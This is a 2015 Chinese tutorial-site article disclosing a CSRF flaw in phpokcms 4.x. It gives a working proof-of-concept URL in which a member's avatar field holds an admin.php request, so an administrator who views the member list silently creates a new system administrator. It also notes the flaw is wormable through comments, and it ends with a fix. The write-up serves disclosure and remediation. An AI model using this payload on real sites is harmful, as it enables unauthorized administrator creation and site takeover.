网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

phpokcms 4.x CSRF漏洞 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] 可蠕虫,可添加系统管理员。phpokcms存在csrf漏洞,管理员查看会员列表时不知不觉会自动添加新的系统管理员。位置在会员头像处的img标签,由于新闻评论可显示头像,也可蠕虫发评论...

可蠕虫,可添加系统管理员。

phpokcms存在csrf漏洞,管理员查看会员列表时不知不觉会自动添加新的系统管理员。

位置在会员头像处的img标签,由于新闻评论可显示头像,也可蠕虫发评论。



下面仅证明添加管理员的部分。



具体代码分析了,直接poc。

注册会员后打开如下链接。(域名路径请视情况修改)

http://127.0.0.1/phpok/api.php?c=usercp&f=avatar&data=%2fphpok%2fadmin.php%3Fc%3Dadmin%26f%3Dsave%26id%3D%26account%3Dadmin2%26pass%3Dadmin2%26email%3Dadmin%2540a1.com%26status%3D1%26if_system%3D1


然后登录管理员后台,点击会员(此时一个名为admin2 密码为admin2的系统管理员已经添加成功。)


再打开设置,管理员维护去看一下即可。

修复方案:

修改设置头像接口,将url固定。 同时加强对关键功能的csrf控制,加入二次确认,或token。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论